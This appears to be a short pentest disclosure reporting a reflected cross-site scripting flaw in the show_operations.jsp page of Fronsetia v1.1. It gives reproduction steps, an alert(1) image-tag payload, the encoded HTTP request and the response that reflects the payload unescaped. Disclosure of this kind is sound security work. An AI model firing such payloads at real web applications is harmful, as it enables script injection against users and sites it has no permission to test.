Friday Fun Pentest Series - 14 - Reflected XSS - fronsetiav1.1

 Description

- It was found that the application was vulnerable to Reflected XSS

Reflected XSS #1 - "show_operations.jsp"

Steps to Reproduce:

1. Visit main page of the application.
2. In the input field of "WSDL Location" enter the following payload "><img src=x onerror=alert(1)>

// HTTP GET Request

GET /fronsetia/show_operations.jsp?Fronsetia_WSDL=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E HTTP/1.1

Host: 192.168.78.128:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0

[...]

// HTTP Response

HTTP/1.1 200 

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 6360

Date: Wed, 20 Nov 2024 19:42:15 GMT

Keep-Alive: timeout=20

Connection: keep-alive

[...]

<title> Fronsetia: "><img src=x onerror=alert(1)> </title>

[...]